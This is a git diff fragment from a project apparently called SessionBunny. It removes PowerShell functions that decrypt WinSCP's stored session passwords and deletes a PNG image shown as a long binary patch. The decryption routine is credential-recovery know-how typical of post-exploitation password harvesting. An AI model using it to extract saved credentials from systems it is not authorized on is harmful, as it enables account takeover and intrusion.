- -} - -function DecryptNextCharacterWinSCP($remainingPass) { - - # Creates an object with flag and remainingPass properties - $flagAndPass = "" | Select-Object -Property flag,remainingPass - - # Shift left 4 bits equivalent for backwards compatibility with older PowerShell versions - $firstval = ("0123456789ABCDEF".indexOf($remainingPass[0]) * 16) - $secondval = "0123456789ABCDEF".indexOf($remainingPass[1]) - - $Added = $firstval + $secondval - - $decryptedResult = (((-bnot ($Added -bxor $Magic)) % 256) + 256) % 256 - - $flagAndPass.flag = $decryptedResult - $flagAndPass.remainingPass = $remainingPass.Substring(2) - - $flagAndPass - -} - -function DecryptWinSCPPassword($SessionHostname, $SessionUsername, $Password) { - - $CheckFlag = 255 - $Magic = 163 - - $len = 0 - $key = $SessionHostname + $SessionUsername - $values = DecryptNextCharacterWinSCP($Password) - - $storedFlag = $values.flag - - if ($values.flag -eq $CheckFlag) { - $values.remainingPass = $values.remainingPass.Substring(2) - $values = DecryptNextCharacterWinSCP($values.remainingPass) - } - - $len = $values.flag - - $values = DecryptNextCharacterWinSCP($values.remainingPass) - $values.remainingPass = $values.remainingPass.Substring(($values.flag * 2)) - - $finalOutput = "" - for ($i=0; $i -lt $len; $i++) { - $values = (DecryptNextCharacterWinSCP($values.remainingPass)) - $finalOutput += [char]$values.flag - } - - if ($storedFlag -eq $CheckFlag) { - $finalOutput.Substring($key.length) - } - - $finalOutput -} \ No newline at end of file diff --git a/SessionBunny/censorepic.png b/SessionBunny/censorepic.png deleted file mode 100644 index fedc54fdbd2ab89215404c2e554f6a236039d92d..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 52557 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 